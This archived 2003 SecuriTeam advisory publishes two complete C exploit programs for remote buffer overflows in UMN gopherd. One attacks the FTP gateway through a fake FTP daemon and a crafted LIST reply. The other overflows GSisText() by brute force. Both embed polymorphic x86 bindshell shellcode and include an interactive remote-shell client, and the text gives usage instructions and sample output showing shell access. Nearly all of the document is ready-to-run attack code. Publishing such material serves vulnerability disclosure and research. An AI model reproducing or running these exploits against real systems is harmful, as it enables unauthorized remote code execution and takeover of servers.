[EXPL] GopherD's FTP Gateway, and GSisText() Buffer Overflow Vulnerabilities (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/03

  • Next message: SecuriTeam: "[EXPL] GNATS Buffer Overflow Exploit Code Released (queue-pr)"
    To: list@securiteam.com
    Date: 21 Jul 2003 15:09:40 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      GopherD's FTP Gateway, and GSisText() Buffer Overflow Vulnerabilities
    (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    Two vulnerabilities have been found in the new version of gopherd, one
    exploits the GSisText() function, while the other exploits the FTP Gateway
    feature of the product. Both of these vulnerabilities will allow attackers
    to gain elevated privileges on the machine running the gopherd service.

    DETAILS

    Exploit (xgopherd2k3-ftp.c):
    /*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*
     * *
     * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
     * *
     * three years since last audit, code is a little more secure. but, *
     * still found a few potentially exploitable situations. this *
     * exploits the "ftp gateway" feature of gopherd. the gateway is *
     * intended to act as a proxy of sorts. between the server, and the *
     * client. the bug occurs when gopherd attempts to read a ftp *
     * list(LIST), and strcpy()'s the filename without checking the *
     * length. an example would look like this(including where to put *
     * the shellcode at): *
     * *
     * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>" *
     * *
     * to exploit this, there needs to be a fake ftp daemon of sorts. *
     * and, do to the nature of gopherd's "ftp gateway" support, must be *
     * on port 21. which means this exploit needs to run as root. *
     * *
     * when exploiting this bug, it is made moderately easy by gopherd. *
     * because, the buffer that holds the string is 8192 bytes, and on *
     * the stack. meaning the amount of NOPs used can be around ~7500. *
     * *
     * requirements(general): *
     * gopherd must have "ftp gateway" support included on compile, *
     * this is true by default. but, the "--disable-ftp" configure *
     * option will make exploitation of this bug impossible. *
     * *
     * requirements(for this exploit): *
     * the server must be running linux/x86(what i made the exploit *
     * for). gopherd must be started in the root directory "/", *
     * running with the -c command line option, or started as non-root. *
     * any of those three situations will allow for successful *
     * exploitation. this does not mean it is impossible to exploit *
     * otherwise. but, gopherd will be in a chroot()'d state. and, as *
     * of the 2.4 kernel series, i have seen no such way to break *
     * chroot. if it is desired to still run code, even in a limited *
     * environment, simply change the shellcode to your likings. also, *
     * the exploit must be ran as root, to bind to port 21. *
     * *
     * bug location(gopher-3.0.5/gopherd/ftp.c): *
     * 1800:int *
     * 1801:GopherFile(FTP *ftp, char *buf, char *theName) *
     * 1802:{ *
     * ... *
     * 1805:char tmpName[256]; *
     * ... *
     * 1811:strcpy(tmpName, buf); *
     * *
     * vulnerable versions: *
     * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
     * v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
     * (it is assumed versions before 2.3.1 are vulnerable as well) *
     * *
     * tested on platforms(with no code changes/offsets): *
     * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
     * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
     * (tested on both v3.0.5, and v2.3.1 sources / no changes. this *
     * should apply to pretty much any generic linux, do to the amount *
     * of NOPs(~7500 bytes guessing room), and on the stack) *
     * *
     * example usage: *
     * # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp *
     * # ./xgopherd2k3-ftp localhost 127.0.0.1 *
     * [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
     * [*] "UMN gopherd remote ftp gateway buffer overflow" *
     * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
     * *
     * [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *
     * *
     * [*] starting ftp daemon. (background) *
     * [*] attempting to connect: localhost:70. *
     * [*] connected successfully: localhost:70. *
     * [?] +GOPHERD: "ftp://x:x@127.0.0.1". *
     * [*] ftp daemon connection established. *
     * [?] -FTPD: "SYST". *
     * [?] -FTPD: "USER x". *
     * [?] -FTPD: "PASS x". *
     * [?] -FTPD: "PORT 127,0,0,1,128,35". *
     * [?] -FTPD: "LIST -F". *
     * [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ *
     * [*] waiting for ftp daemon to finish. (ctrl-c if needed) *
     * [*] ftp daemon connection closed. *
     * [*] checking to see if the exploit was successful. *
     * [*] attempting to connect: localhost:45295. *
     * [*] successfully connected: localhost:45295. *
     * *
     * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ *
     * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ *
     * *
     * note: when using your "local ip", do not make it 127.0.0.1, like *
     * in the example. it must be the ip you connect to the internet *
     * through. (not an local area network ip, or whatnot) *
     *********************************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    /* change defines at will. (cept EIPSIZE, not recommended) */
    #define CODESIZE 7800 /* part of buf[8192]/stack. (~-350) */
    #define EIPSIZE 292 /* riding a fine line, don't make too big. */
    #define RETADDR 0xbfffe29b /* center of NOPs for me. (~+-3500) */
    #define TIMEOUT 10 /* connection timeout. (general) */

    /* globals. */
    static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
     "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
     "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
     "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
     "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
     "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
     "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
     "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
     "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
     "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
     "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
     "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
     "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
     "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
     "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
     "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
     "\x6e";
    char ftp_ip[64+1];
    unsigned short ftp_port=0;
    pid_t ftp_pid=0;
    /* return address offset. (arg3) */
    unsigned int offset_ra=0;

    /* functions. */
    char *geteip(void);
    char *getcode(void);
    unsigned short ftpd_read(int);
    void ftpd_handler(int,char *);
    void ftpd_list(char *,unsigned short);
    void ftpd(void);
    void gopher_connect(char *,unsigned short,char *);
    void getshell(char *,unsigned short);
    void printe(char *,short);

    /* signal handlers. */
    void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
    void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
    void sig_alarm(){printe("alarm/timeout hit.",1);}

    /* begin. */
    int main(int argc,char **argv){
     unsigned short gopher_port=70; /* default. */
     unsigned int i=0;
     char *gopher_host;
     printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
     "verflow exploit.\n[*] \"UMN gopherd remote ftp gatew"
     "ay buffer overflow\"\n[*] by: vade79/v9 v9@fakehalo."
     "deadpig.org (fakehalo)\n\n");
     if(argc<3){
      printf("[!] syntax: %s <hostname[:port]> <local/your"
      "_ip> [offset]\n\n",argv[0]);
      exit(1);
     }
     if(!(gopher_host=(char *)strdup(argv[1])))
      printe("main(): allocating memory failed",1);
     for(i=0;i<strlen(gopher_host);i++)
      if(gopher_host[i]==':')
       gopher_host[i]=0x0;
     if(index(argv[1],':'))
      gopher_port=atoi((char *)index(argv[1],':')+1);
     if(!gopher_port)
      gopher_port=70;
     if(argc>3)
      offset_ra=atoi(argv[3]);
     printf("[*] target: %s:%d - localhost: %s - offset: 0x%.8x(+"
     "%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra);
     signal(SIGINT,sig_ctrlc_wait);
     signal(SIGALRM,sig_alarm);
     /* start ftpd, as a different process. */
     switch(ftp_pid=fork()){
      case -1:
       printe("fork() ftpd failure.",1);
       break;
      case 0:
       signal(SIGINT,SIG_DFL);
       ftpd();
       _exit(0);
       break;
      default:
       printf("[*] starting ftp daemon. (background)\n");
       break;
     }
     gopher_connect(gopher_host,gopher_port,argv[2]);
     /* gotta let the ftpd magic happen, plenty of time. */
     printf("[*] waiting for ftp daemon to finish. (ctrl-c if"
     " needed)\n");
     waitpid(ftp_pid,0,0);
     signal(SIGINT,sig_ctrlc_exit);
     getshell(gopher_host,45295); /* defined in shellcode. */
     printf("[!] exploit failed.\n");
     exit(0);
    }
    char *geteip(void){
     unsigned int i=0;
     char *buf;
     if(!(buf=(char *)malloc(EIPSIZE+1)))
      printe("ftpd_read(): allocating memory failed.",1);
     memset(buf,0x0,EIPSIZE+1);
     for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(RETADDR+offset_ra);}
     return(buf);
    }
    char *getcode(void){
     char *buf;
     if(!(buf=(char *)malloc(CODESIZE+1)))
      printe("getcode(): allocating memory failed",1);
     memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
     memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
     strlen(x86_exec));
     return(buf);
    }
    unsigned short ftpd_read(int sock){
     char *buf;
     if(!(buf=(char *)malloc(4096+1)))
      return(1);
     memset(buf,0x0,4096+1);
     if(read(sock,buf,4096)<1)
      return(1);
     ftpd_handler(sock,buf);
     return(0);
    }
    void ftpd_handler(int sock,char *buf){
     unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
     /* clean up for display, changes nothing critical. */
     for(i=0;i<strlen(buf);i++)
      if(buf[i]=='\r'||buf[i]=='\n')
       buf[i]=0x0;
     if(strlen(buf)){
      printf("[?] -FTPD: \"%s\".\n",buf);
      if(!strncmp("SYST",buf,4))
       dprintf(sock,"215 UNIX Type: L8\n");
      else if(!strncmp("USER ",buf,5))
       dprintf(sock,"331 login ok.\n");
      else if(!strncmp("PASS ",buf,5))
       dprintf(sock,"230 access granted.\n");
      else if(!strncmp("PORT ",buf,5)){
       sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
       &addr4,&port1,&port2);
       memset(ftp_ip,0x0,64+1);
       snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4);
       ftp_port=((port1*256)+port2);
       dprintf(sock,"200 PORT command successful.\n");
      }
      else if(!strncmp("LIST",buf,4)){
       dprintf(sock,"150 Opening connection.\n");
       /* send the fake file list, the exploit itself. */
       if(strlen(ftp_ip)&&ftp_port)
        ftpd_list(ftp_ip,ftp_port);
       dprintf(sock,"226 Transfer complete.\n");
       sleep(1);
       /* nothing else of importance. */
       close(sock);
      }
     }
     return;
    }
    void ftpd_list(char *ip,unsigned short port){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(ip))){
      if(!(t=gethostbyname(ip)))
       printe("couldn't resolve ftp_list hostname/ip.",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("ftpd_list connection failed.",1);
     alarm(0);
     /* the exploit itself, what changes the EIP. */
     /* i just put the shellcode where the user/owner */
     /* of the file would normally go, goes into the */
     /* fat buf[8192] buffer, yummy. */
     printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
     "1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
     dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
     getcode(),geteip());
     sleep(1); /* not needed, safe call. */
     close(sock);
     return;
    }
    void ftpd(void){
     int ssock,sock,salen,so=1,i=0;
     struct sockaddr_in ssa,sa;
     ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     /* just incase used multiple times, good habit anyways. */
     setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
     /* not everywheres. */
    #ifdef SO_REUSEPORT
     setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
    #endif
     ssa.sin_family=AF_INET;
     /* must be default, gopherd limitations. :( */
     ssa.sin_port=htons(21);
     ssa.sin_addr.s_addr=INADDR_ANY;
     if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
      printe("could not bind socket, ftpd already running?",1);
     listen(ssock,1);
     bzero((char*)&sa,sizeof(struct sockaddr_in));
     /* some things i just don't see the reason for. :/ */
     salen=sizeof(sa);
     sock=accept(ssock,(struct sockaddr *)&sa,&salen);
     close(ssock); /* close server socket. */
     printf("[*] ftp daemon connection established.\n");
     /* welcome! */
     dprintf(sock,"220 FakeFTPD.\n");
     while(!i)
      i=ftpd_read(sock);
     close(sock);
     printf("[*] ftp daemon connection closed.\n");
     return;
    }
    void gopher_connect(char *hostname,unsigned short port,
    char *myip){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     printf("[*] attempting to connect: %s:%d.\n",hostname,port);
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(hostname))){
      if(!(t=gethostbyname(hostname)))
       printe("couldn't resolve gopher hostname.",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("gopher connection failed.",1);
     alarm(0);
     printf("[*] connected successfully: %s:%d.\n",hostname,port);
     printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
     sleep(1); /* had problems, without a delay here. */
     dprintf(sock,"ftp://x:x@%s\n",myip);
     sleep(1); /* doesn't really matter, but to be safe. :/ */
     /* leave gopher socket open, for the duration. */
     return;
    }
    /* same getshell() routine as usual. */
    void getshell(char *hostname,unsigned short port){
     int sock,r;
     fd_set fds;
     char buf[4096+1];
     struct hostent *he;
     struct sockaddr_in sa;
     printf("[*] checking to see if the exploit was successful.\n");
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
      printe("getshell(): socket() failed",0);
      return;
     }
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
      if(!(he=gethostbyname(hostname))){
       printe("getshell(): couldn't resolve",0);
       return;
      }
      memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
      sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     printf("[*] attempting to connect: %s:%d.\n",
     hostname,port);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
      printf("[!] connection failed: %s:%d.\n",
      hostname,port);
      return;
     }
     alarm(0);
     printf("[*] successfully connected: %s:%d.\n\n",
     hostname,port);
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sock,&fds);
      if(select(sock+1,&fds,0,0,0)<1){
       printe("getshell(): select() failed",0);
       return;
      }
      if(FD_ISSET(0,&fds)){
       if((r=read(0,buf,4096))<1){
        printe("getshell(): read() failed",0);
        return;
       }
       if(write(sock,buf,r)!=r){
        printe("getshell(): write() failed",0);
        return;
       }
      }
      if(FD_ISSET(sock,&fds)){
       if((r=read(sock,buf,4096))<1)
        exit(0);
       write(1,buf,r);
      }
     }
     close(sock);
     return;
    }
    void printe(char *err,short e){
     printf("[!] %s\n",err);
     if(e){
      /* don't want to exit with ftpd still running. */
      if(ftp_pid)
       kill(ftp_pid,9);
      printf("[!] exploit failed.\n");
      exit(1);
     }
     return;
    }

    Exploit (xgopherd2k3-view.c):
    /*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*
     * *
     * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
     * *
     * three years since last audit, code is a little more secure. but, *
     * still found a few potentially exploitable situations. this *
     * exploits the GSisText() object function in gopherd. the function *
     * is used in determining view-type. the function does not check the *
     * length of the string, which is copied into a temporary 64 byte *
     * buffer. an example would look like this(including where to put the *
     * shellcode at): *
     * *
     * "g\t+<long string>\t1\n<shellcode(256 character max)>\n" *
     * *
     * to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *
     * or g. followed by a <tab>+<long string>. to have a place to put *
     * the shellcode, i appended a <tab>1, which makes gopherd wait for *
     * another line before actually doing the overflow. *
     * *
     * requirements(general): *
     * none. no option to disable this, hard-coded upon compile. *
     * *
     * requirements(for this exploit): *
     * the server must be running linux/x86(what i made the exploit for). *
     * gopherd must be started in the root directory "/", running with *
     * the -c command line option, or started as non-root. any of those *
     * three situations will allow for successful exploitation. this *
     * does not mean it is impossible to exploit otherwise. but, gopherd *
     * will be in a chroot()'d state. and, as of the 2.4 kernel series, *
     * i have seen no such way to break chroot. if it is desired to *
     * still run code, even in a limited environment, simply change the *
     * shellcode to your likings. *
     * *
     * bug location(gopher-3.0.5/object/GSgopherobj.c): *
     * 2088:boolean *
     * 2089:GSisText(GopherObj *gs, char *view) *
     * 2090:{ *
     * ... *
     * 2106:char viewstowage[64], *cp; *
     * 2108:strcpy(viewstowage, view); *
     * *
     * vulnerable versions: *
     * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
     * v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
     * (it is assumed versions before 2.3.1 are vulnerable as well) *
     * *
     * tested on platforms(with no code changes/offsets): *
     * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
     * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
     * (tested on both v3.0.5, and v2.3.1 sources / no changes) *
     * *
     * example usage: *
     * # cc xgopherd2k3-view.c -o xgopherd2k3-view *
     * # ./xgopherd2k3-view localhost *
     * [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
     * [*] "UMN gopherd remote GSisText()/view buffer overflow" *
     * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
     * *
     * [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff *
     * *
     * (. = 29 byte offset): ............................................ *
     * .................................................................. *
     * ................................................(hit shellcode!) *
     * *
     * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
     * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *
     ***********************************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    /* using brute force method, don't change values. */
    #define CODESIZE 256 /* big as it gets, or will fail. */
    #define EIPSIZE 128 /* 64 byte buffer, little overboard. :) */
    #define BASEADDR 0xbfffe000 /* starting address, should be ok. */
    #define ENDADDR 0xbfffffff /* address to stop at. */
    #define TIMEOUT 10 /* connection timeout. (general) */

    /* globals. */
    static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
     "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
     "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
     "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
     "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
     "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
     "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
     "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
     "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
     "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
     "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
     "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
     "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
     "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
     "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
     "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
     "\x6e";

    /* functions. */
    char *geteip(unsigned int);
    char *getcode(void);
    unsigned short gopher_connect(char *,unsigned short,
    unsigned int);
    void getshell(char *,unsigned short);
    void printe(char *,short);

    /* signal handlers. */
    void sig_ctrlc(){printe("aborted",1);}
    void sig_alarm(){printe("alarm/timeout hit",1);}

    /* begin. */
    int main(int argc,char **argv){
     unsigned short gopher_port=70; /* default. */
     unsigned int offset=0,i=0;
     char *gopher_host;
     printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
     "verflow exploit.\n[*] \"UMN gopherd remote GSisText("
     ")/view buffer overflow\"\n[*] by: vade79/v9 v9@fakeh"
     "alo.deadpig.org (fakehalo)\n\n");
     if(argc<2){
     printf("[!] syntax: %s <hostname[:port]>\n\n",argv[0]);
     exit(1);
     }
     if(!(gopher_host=(char *)strdup(argv[1])))
     printe("main(): allocating memory failed",1);
     for(i=0;i<strlen(gopher_host);i++)
     if(gopher_host[i]==':')
     gopher_host[i]=0x0;
     if(index(argv[1],':'))
     gopher_port=atoi((char *)index(argv[1],':')+1);
     if(!gopher_port)
     gopher_port=70;
     printf("[*] target: %s:%d - brute: 0x%.8x-0x%.8x\n\n",
     gopher_host,gopher_port,BASEADDR,ENDADDR);
     signal(SIGINT,sig_ctrlc);
     signal(SIGALRM,sig_alarm);
     fprintf(stderr,"(. = 29 byte offset): ");
     for(offset=0;(BASEADDR+offset)<ENDADDR;offset+=29){
     fprintf(stderr,(gopher_connect(gopher_host,gopher_port,
     offset)?"!":"."));
     getshell(gopher_host,45295); /* defined in shellcode. */
     }
     fprintf(stderr,"(brute force limit hit)\n");
     exit(0);
    }
    char *geteip(unsigned int offset){
     unsigned int i=0;
     char *buf;
     if(!(buf=(char *)malloc(EIPSIZE+1)))
     printe("ftpd_read(): allocating memory failed.",1);
     memset(buf,0x0,EIPSIZE+1);
     for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(BASEADDR+offset);}
     return(buf);
    }
    char *getcode(void){
     char *buf;
     if(!(buf=(char *)malloc(CODESIZE+1)))
     printe("getcode(): allocating memory failed",1);
     memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
     memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
     strlen(x86_exec));
     return(buf);
    }
    unsigned short gopher_connect(char *hostname,
    unsigned short port,unsigned int offset){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(hostname))){
     if(!(t=gethostbyname(hostname))){
     close(sock);
     return(1);
     }
     memcpy((char*)&s.sin_addr,(char*)t->h_addr,
     sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s))){
     alarm(0);
     close(sock);
     return(1);
     }
     alarm(0);
     usleep(500000); /* had problems, without a delay here. */
     /* the exploit itself. */
     dprintf(sock,"g\t+%s\t1\n",geteip(offset)); /* 64 bytes. */
     dprintf(sock,"%s\n",getcode()); /* 256 bytes room. */
     usleep(500000);
     close(sock); /* done. */
     return(0);
    }
    /* same getshell() routine, a little modded for brute. */
    void getshell(char *hostname,unsigned short port){
     int sock,r;
     fd_set fds;
     char buf[4096+1];
     struct hostent *he;
     struct sockaddr_in sa;
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
     return;
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
     if(!(he=gethostbyname(hostname))){
     close(sock);
     return;
     }
     memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
     sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
     alarm(0);
     close(sock);
     return;
     }
     alarm(0);
     fprintf(stderr,"(hit shellcode!)\n\n");
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
     FD_ZERO(&fds);
     FD_SET(0,&fds);
     FD_SET(sock,&fds);
     if(select(sock+1,&fds,0,0,0)<1){
     printe("getshell(): select() failed",0);
     return;
     }
     if(FD_ISSET(0,&fds)){
     if((r=read(0,buf,4096))<1){
     printe("getshell(): read() failed",0);
     return;
     }
     if(write(sock,buf,r)!=r){
     printe("getshell(): write() failed",0);
     return;
     }
     }
     if(FD_ISSET(sock,&fds)){
     if((r=read(sock,buf,4096))<1)
     exit(0);
     write(1,buf,r);
     }
     }
     close(sock);
     return;
    }
    void printe(char *err,short e){
     fprintf(stderr,"(error: %s)\n",err);
     if(e)
     exit(1);
     return;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:v9@fakehalo.deadpig.org>
    Vade 79.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] GNATS Buffer Overflow Exploit Code Released (queue-pr)"

    Relevant Pages